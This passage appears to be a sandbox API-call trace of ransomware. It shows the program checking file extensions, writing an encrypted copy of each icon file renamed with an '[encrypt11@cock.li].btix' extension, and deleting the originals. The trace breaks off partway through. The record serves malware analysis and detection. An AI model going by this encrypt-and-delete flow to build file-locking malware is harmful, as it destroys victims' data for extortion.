(lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0043.541] lstrlenW (lpString=".doc") returned 4 [0043.541] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0043.541] lstrlenW (lpString=".docx") returned 5 [0043.541] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0043.541] lstrlenW (lpString=".pdf") returned 4 [0043.541] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0043.541] lstrlenW (lpString=".xls") returned 4 [0043.541] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0043.541] lstrlenW (lpString=".xlsx") returned 5 [0043.541] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0043.541] lstrlenW (lpString=".ppt") returned 4 [0043.541] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0043.541] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0043.541] lstrlenW (lpString=".zip") returned 4 [0043.542] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0043.542] lstrlenW (lpString=".rar") returned 4 [0043.542] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0043.542] lstrlenW (lpString=".bz2") returned 4 [0043.542] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0043.542] lstrlenW (lpString=".7z") returned 3 [0043.542] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0043.542] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0043.542] lstrlenW (lpString=".dbf") returned 4 [0043.542] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0043.542] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0043.542] lstrlenW (lpString=".1cd") returned 4 [0043.542] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0043.542] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0043.542] lstrlenW (lpString=".jpg") returned 4 [0043.542] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0043.542] lstrcmpiW (lpString1=".ico", lpString2=".btix") returned 1 [0043.542] lstrlenW (lpString="Rotate7.ico") returned 11 [0043.542] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0043.542] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2eeff14 | out: lpFileSize=0x2eeff14*=894) returned 1 [0043.542] CloseHandle (hObject=0x30c) returned 1 [0043.542] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico")) returned 0x80 [0043.543] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.543] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0043.543] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0043.543] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0043.543] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0043.543] GetLastError () returned 0x0 [0043.543] ReadFile (in: hFile=0x30c, lpBuffer=0x3a02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefecc, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesRead=0x2eefecc*=0x37e, lpOverlapped=0x0) returned 1 [0043.613] WriteFile (in: hFile=0x2d8, lpBuffer=0x3a02020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2eefc94, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesWritten=0x2eefc94*=0x380, lpOverlapped=0x0) returned 1 [0043.614] ReadFile (in: hFile=0x30c, lpBuffer=0x3a02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefecc, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesRead=0x2eefecc*=0x0, lpOverlapped=0x0) returned 1 [0043.614] WriteFile (in: hFile=0x2d8, lpBuffer=0x3a02020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2eefc94, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesWritten=0x2eefc94*=0xea, lpOverlapped=0x0) returned 1 [0043.614] SetEndOfFile (hFile=0x2d8) returned 1 [0043.615] CloseHandle (hObject=0x2d8) returned 1 [0043.615] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0043.615] SetEndOfFile (hFile=0x30c) returned 1 [0043.616] CloseHandle (hObject=0x30c) returned 1 [0043.616] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.616] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico")) returned 1 [0043.616] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0043.616] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0043.616] lstrlenW (lpString=".doc") returned 4 [0043.616] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0043.616] lstrlenW (lpString=".docx") returned 5 [0043.616] lstrcmpiW (lpString1=".docx", lpString2="7.ico") returned -1 [0043.616] lstrlenW (lpString=".pdf") returned 4 [0043.616] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0043.616] lstrlenW (lpString=".xls") returned 4 [0043.617] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0043.617] lstrlenW (lpString=".xlsx") returned 5 [0043.617] lstrcmpiW (lpString1=".xlsx", lpString2="7.ico") returned -1 [0043.617] lstrlenW (lpString=".ppt") returned 4 [0043.617] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0043.617] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0043.617] lstrlenW (lpString=".zip") returned 4 [0043.617] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0043.617] lstrlenW (lpString=".rar") returned 4 [0043.617] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0043.617] lstrlenW (lpString=".bz2") returned 4 [0043.617] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0043.617] lstrlenW (lpString=".7z") returned 3 [0043.617] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0043.617] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0043.617] lstrlenW (lpString=".dbf") returned 4 [0043.617] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0043.617] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0043.617] lstrlenW (lpString=".1cd") returned 4 [0043.617] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0043.617] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0043.617] lstrlenW (lpString=".jpg") returned 4 [0043.617] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0043.617] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0043.617] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0043.617] lstrlenW (lpString=".doc") returned 4 [0043.617] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0043.617] lstrlenW (lpString=".docx") returned 5 [0043.617] lstrcmpiW (lpString1=".docx", lpString2="7.ico") returned -1 [0043.617] lstrlenW (lpString=".pdf") returned 4 [0043.617] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0043.617] lstrlenW (lpString=".xls") returned 4 [0043.617] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0043.617] lstrlenW (lpString=".xlsx") returned 5 [0043.617] lstrcmpiW (lpString1=".xlsx", lpString2="7.ico") returned -1 [0043.618] lstrlenW (lpString=".ppt") returned 4 [0043.618] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0043.618] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0043.618] lstrlenW (lpString=".zip") returned 4 [0043.618] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0043.618] lstrlenW (lpString=".rar") returned 4 [0043.618] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0043.618] lstrlenW (lpString=".bz2") returned 4 [0043.618] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0043.618] lstrlenW (lpString=".7z") returned 3 [0043.618] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0043.618] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0043.618] lstrlenW (lpString=".dbf") returned 4 [0043.618] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0043.618] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0043.618] lstrlenW (lpString=".1cd") returned 4 [0043.618] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0043.618] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42 [0043.618] lstrlenW (lpString=".jpg") returned 4 [0043.618] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0043.618] lstrcmpiW (lpString1=".ico", lpString2=".btix") returned 1 [0043.618] lstrlenW (lpString="stop.ico") returned 8 [0043.618] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0043.619] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2eeff14 | out: lpFileSize=0x2eeff14*=10134) returned 1 [0043.619] CloseHandle (hObject=0x30c) returned 1 [0043.619] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico")) returned 0x80 [0043.619] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.619] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0043.619] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0043.619] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0043.619] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0043.619] GetLastError () returned 0x0 [0043.619] ReadFile (in: hFile=0x30c, lpBuffer=0x3a02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefecc, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesRead=0x2eefecc*=0x2796, lpOverlapped=0x0) returned 1 [0043.656] WriteFile (in: hFile=0x2d8, lpBuffer=0x3a02020*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x2eefc94, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesWritten=0x2eefc94*=0x27a0, lpOverlapped=0x0) returned 1 [0043.657] ReadFile (in: hFile=0x30c, lpBuffer=0x3a02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefecc, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesRead=0x2eefecc*=0x0, lpOverlapped=0x0) returned 1 [0043.657] WriteFile (in: hFile=0x2d8, lpBuffer=0x3a02020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2eefc94, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesWritten=0x2eefc94*=0xe4, lpOverlapped=0x0) returned 1 [0043.657] SetEndOfFile (hFile=0x2d8) returned 1 [0043.657] CloseHandle (hObject=0x2d8) returned 1 [0043.657] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0043.657] SetEndOfFile (hFile=0x30c) returned 1 [0043.658] CloseHandle (hObject=0x30c) returned 1 [0043.658] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.658] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico")) returned 1 [0043.659] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0043.659] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0043.659] lstrlenW (lpString=".doc") returned 4 [0043.659] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0043.659] lstrlenW (lpString=".docx") returned 5 [0043.659] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1 [0043.659] lstrlenW (lpString=".pdf") returned 4 [0043.659] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0043.659] lstrlenW (lpString=".xls") returned 4 [0043.659] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0043.659] lstrlenW (lpString=".xlsx") returned 5 [0043.659] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1 [0043.659] lstrlenW (lpString=".ppt") returned 4 [0043.659] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0043.659] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0043.659] lstrlenW (lpString=".zip") returned 4 [0043.659] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0043.659] lstrlenW (lpString=".rar") returned 4 [0043.659] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0043.659] lstrlenW (lpString=".bz2") returned 4 [0043.659] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0043.659] lstrlenW (lpString=".7z") returned 3 [0043.659] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0043.659] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0043.659] lstrlenW (lpString=".dbf") returned 4 [0043.659] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0043.659] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0043.659] lstrlenW (lpString=".1cd") returned 4 [0043.659] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0043.659] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0043.659] lstrlenW (lpString=".jpg") returned 4 [0043.660] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0043.660] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0043.660] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0043.660] lstrlenW (lpString=".doc") returned 4 [0043.660] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0043.660] lstrlenW (lpString=".docx") returned 5 [0043.660] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1 [0043.660] lstrlenW (lpString=".pdf") returned 4 [0043.660] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0043.660] lstrlenW (lpString=".xls") returned 4 [0043.660] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0043.660] lstrlenW (lpString=".xlsx") returned 5 [0043.660] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1 [0043.660] lstrlenW (lpString=".ppt") returned 4 [0043.660] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0043.660] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0043.660] lstrlenW (lpString=".zip") returned 4 [0043.660] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0043.660] lstrlenW (lpString=".rar") returned 4 [0043.660] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0043.660] lstrlenW (lpString=".bz2") returned 4 [0043.660] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0043.660] lstrlenW (lpString=".7z") returned 3 [0043.660] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0043.660] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0043.660] lstrlenW (lpString=".dbf") returned 4 [0043.660] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0043.660] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0043.660] lstrlenW (lpString=".1cd") returned 4 [0043.660] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0043.660] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0043.660] lstrlenW (lpString=".jpg") returned 4 [0043.660] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0043.661] lstrcmpiW (lpString1=".ico", lpString2=".btix") returned 1 [0043.661] lstrlenW (lpString="warn.ico") returned 8 [0043.661] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0043.661] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2eeff14 | out: lpFileSize=0x2eeff14*=10134) returned 1 [0043.661] CloseHandle (hObject=0x30c) returned 1 [0043.661] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico")) returned 0x80 [0043.661] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.661] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0043.661] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0043.661] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0043.661] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0043.662] GetLastError () returned 0x0 [0043.662] ReadFile (in: hFile=0x30c, lpBuffer=0x3a02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefecc, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesRead=0x2eefecc*=0x2796, lpOverlapped=0x0) returned 1 [0043.814] WriteFile (in: hFile=0x2d8, lpBuffer=0x3a02020*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x2eefc94, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesWritten=0x2eefc94*=0x27a0, lpOverlapped=0x0) returned 1 [0043.815] ReadFile (in: hFile=0x30c, lpBuffer=0x3a02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefecc, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesRead=0x2eefecc*=0x0, lpOverlapped=0x0) returned 1 [0043.815] WriteFile (in: hFile=0x2d8, lpBuffer=0x3a02020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2eefc94, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesWritten=0x2eefc94*=0xe4, lpOverlapped=0x0) returned 1 [0043.815] SetEndOfFile (hFile=0x2d8) returned 1 [0043.815] CloseHandle (hObject=0x2d8) returned 1 [0043.816] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0043.816] SetEndOfFile (hFile=0x30c) returned 1 [0043.817] CloseHandle (hObject=0x30c) returned 1 [0043.817] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.817] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico")) returned 1 [0043.817] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0043.817] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0043.817] lstrlenW (lpString=".doc") returned 4 [0043.817] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0043.817] lstrlenW (lpString=".docx") returned 5 [0043.817] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1 [0043.817] lstrlenW (lpString=".pdf") returned 4 [0043.817] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0043.817] lstrlenW (lpString=".xls") returned 4 [0043.817] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0043.817] lstrlenW (lpString=".xlsx") returned 5 [0043.817] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1 [0043.817] lstrlenW (lpString=".ppt") returned 4 [0043.817] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0043.818] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0043.818] lstrlenW (lpString=".zip") returned 4 [0043.818] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0043.818] lstrlenW (lpString=".rar") returned 4 [0043.818] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0043.818] lstrlenW (lpString=".bz2") returned 4 [0043.818] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0043.818] lstrlenW (lpString=".7z") returned 3 [0043.818] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0043.818] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0043.818] lstrlenW (lpString=".dbf") returned 4 [0043.818] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0043.818] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0043.818] lstrlenW (lpString=".1cd") returned 4 [0043.818] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0043.818] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0043.818] lstrlenW (lpString=".jpg") returned 4 [0043.818] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0043.818] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0043.818] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0043.818] lstrlenW (lpString=".doc") returned 4 [0043.818] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0043.818] lstrlenW (lpString=".docx") returned 5 [0043.818] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1 [0043.818] lstrlenW (lpString=".pdf") returned 4 [0043.818] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0043.818] lstrlenW (lpString=".xls") returned 4 [0043.818] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0043.818] lstrlenW (lpString=".xlsx") returned 5 [0043.819] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1 [0043.819] lstrlenW (lpString=".ppt") returned 4 [0043.819] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0043.819] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0043.819] lstrlenW (lpString=".zip") returned 4 [0043.819] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0043.819] lstrlenW (lpString=".rar") returned 4 [0043.819] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0043.819] lstrlenW (lpString=".bz2") returned 4 [0043.819] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0043.819] lstrlenW (lpString=".7z") returned 3 [0043.819] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0043.819] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0043.819] lstrlenW (lpString=".dbf") returned 4 [0043.819] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0043.819] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0043.819] lstrlenW (lpString=".1cd") returned 4 [0043.819] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0043.819] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0043.819] lstrlenW (lpString=".jpg") returned 4 [0043.819] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0043.819] lstrcmpiW (lpString1=".mzz", lpString2=".btix") returned 1 [0043.819] lstrlenW (lpString="netfx_Extended.mzz") returned 18 [0043.819] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0043.819] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2eeff14 | out: lpFileSize=0x2eeff14*=43131591) returned 1 [0043.819] CloseHandle (hObject=0x30c) returned 1 [0043.820] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz")) returned 0x20 [0043.820] GetFileAttributesW 